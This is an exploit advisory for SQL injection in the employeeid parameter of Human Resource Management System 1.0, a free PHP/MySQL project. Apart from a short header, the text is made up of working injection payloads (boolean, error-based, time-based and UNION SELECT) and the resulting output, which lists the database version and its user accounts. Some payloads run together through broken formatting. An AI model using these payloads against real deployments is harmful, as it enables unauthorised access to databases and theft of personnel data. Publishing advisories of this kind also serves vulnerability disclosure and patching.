Human Resource Management System 1.0 - (employeeid) SQL Injection Vulnerability

# Exploit Title: Human Resource Management System - SQL Injection
# Exploit Author: Srikar ( Exp1o1t9r )
# Vendor Homepage: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# https://www.sourcecodester.com/sites/default/files/download/oretnom23/hrm.zip
# Version: 1.0 (Monday, October 10, 2022 - 13:37)
# Tested On: Windows 10 Pro 10.0.19044 N/A Build 1288 + XAMPP V3.3.0
# Vulnerable URL and Parameter:URL:


Parameter: employeeid=2 The following payloads successfully identified SQL injection
vulnerabilities:
employeeid=2' AND 9667=9667-- NFMgemployeeid=2' AND (SELECT
6014 FROM(SELECT COUNT(*),CONCAT(0x716a767671,(SELECT
(ELT(6014=6014,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ywfiemployeeid=2' AND (SELECT
7160 FROM (SELECT(SLEEP([SLEEPTIME])))IzXD)-- ninWemployeeid=-4254' UNION
ALL SELECT
NULL,CONCAT(0x716a767671,0x457977584e79636568687641497a4b6e637668455a487948534e50737753626f5a4a545244616276,0x7162716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
- *

# Response:MySQL: 10.4.32-MariaDB
Users:'pma'@'localhost''root'@'127.0.0.1''root'@'::1''root'@'localhost'*